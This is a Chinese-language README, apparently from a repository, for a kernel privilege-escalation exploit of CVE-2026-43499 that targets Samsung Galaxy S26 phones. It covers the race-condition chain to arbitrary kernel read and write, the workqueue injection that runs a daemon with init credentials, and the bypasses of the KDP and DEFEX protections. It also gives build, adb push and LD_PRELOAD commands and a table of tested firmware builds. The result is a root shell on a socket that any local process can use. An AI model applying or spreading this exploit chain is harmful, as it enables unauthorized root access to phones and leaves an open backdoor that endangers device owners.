CVE-2026-43499 移植至三星 Galaxy S26 系列 — Android 16 / GKI 6.12。 单个二进制文件、三条内核线、运行时动态参数 匹配:理论上覆盖整个 S26 系列,无需 针对每个构建单独编译。
大多数 GhostLock 移植工作针对单一设备或单一固件。 本仓库是一次全新移植,为 S26 目标重写了所有机制, 预计可覆盖整个系列。
在维护 snothin/CyberMeowfia 期间, 我发现原始的 pipe physrw 通道不稳定(会导致网络中断),因此 放弃了该路线并探索替代方案。后来我发现 monovibe 在我探索的道路上走得更远,采纳了该方法,经过 反复调试,本仓库最终成形。
uid=0(root) context=u:r:kernel:s0 运行;通过
su_daemon 在抽象 Unix 套接字上实现持久 root shell。system_unbound_wq 上伪造 work_struct,其函数为 call_usermodehelper_exec_work,
因此内核以 init 凭据执行我们的守护进程。KDP 对凭据页的 EL2 防护
永远不会被触发。pselect + futex PI 竞态
→ 每轮一次对齐 qword 写入
→ attr 载体(两个伪造 misc fd)
controller fd 重定向数据指针
data fd 读写任意内核地址
→ slide oracle(tracefs)
→ UMH root(工作队列注入)
system_unbound_wq
ptmx 打开/关闭风暴唤醒 worker
内核以 init 凭据执行守护进程
→ DEFEX 绕过(bind-mount)
→ su_daemon 监听 /data/local/tmp/temp_su.sock
参数按内核线(三条线:cn、intl、exynos)匹配,而非
按单个构建匹配。未知的 OTA 构建会根据型号
和 CSC 回退到最近已知的线。完全未知的型号会被拒绝(fail-closed)。
内置构建列表以 exploit/src/params_table.c 为准。
移植到新设备或固件时所需的参数请参阅 PORTING.md。
需要 Android NDK(r26+)。直接运行:
cd exploit
make preload
# 生成 build/bin/preload.so(漏洞利用)和 build/embed/su_daemon_aarch64_pie(内嵌守护进程)
将 preload.so、su_daemon_aarch64_pie 和 ksud 推送到设备(从 adb
shell 会话运行,uid 2000):
adb push exploit/build/bin/preload.so /data/local/tmp/
adb push exploit/build/embed/su_daemon_aarch64_pie /data/local/tmp/cve-2026-43499-root
adb push <ksud> /data/local/tmp/ksud
adb shell chmod 755 /data/local/tmp/cve-2026-43499-root /data/local/tmp/ksud
# 单次尝试:
adb shell "env LD_PRELOAD=/data/local/tmp/preload.so sh"
该漏洞利用是概率性的(竞态),通常需要多次尝试。在
成功运行后,su_daemon 会监听 /data/local/tmp/temp_su.sock,任何
本地进程都可以连接。
启动声明防护(/data/local/tmp/ghostlock-boot.log)记录每次
启动运行的结果;同一启动中的第二次完整链路运行会被拒绝(可能导致
设备崩溃)。清除该文件或设置 BOOT_FORCE=1 以覆盖。
exploit/src/kernelsnitch/)| 型号 | 设备代号 | 已测试构建 |
|---|
| SM-S942x(S26 骁龙) | m1q | S9420ZCS4AZG1、S942QOPU1AZDE、S942U1UES4AZG3、S942USQS4AZG3 |
| SM-S947x(S26+ 骁龙) | m2q | S9470ZCS4AZG1、S947USQS4AZG3 |
| SM-S9480(S26 Ultra 国行) | m3q | S9480ZCS3AZF1、S9480ZCS4AZG1(已测试构建) |
| SM-S948x(S26 Ultra) | m3q | S9480ZHS4AZG1、S948BXXS4AZG5/6、S948NKSS4AZG3、S948U1UES2AZE1、S948USQS4AZG3 |
| SM-S942B(S26 Exynos) | m1s | S942BXXS4AZG5 |
| SM-S947B(S26+ Exynos) | m2s | S947BXXS3AZF1、S947BXXS4AZG5 |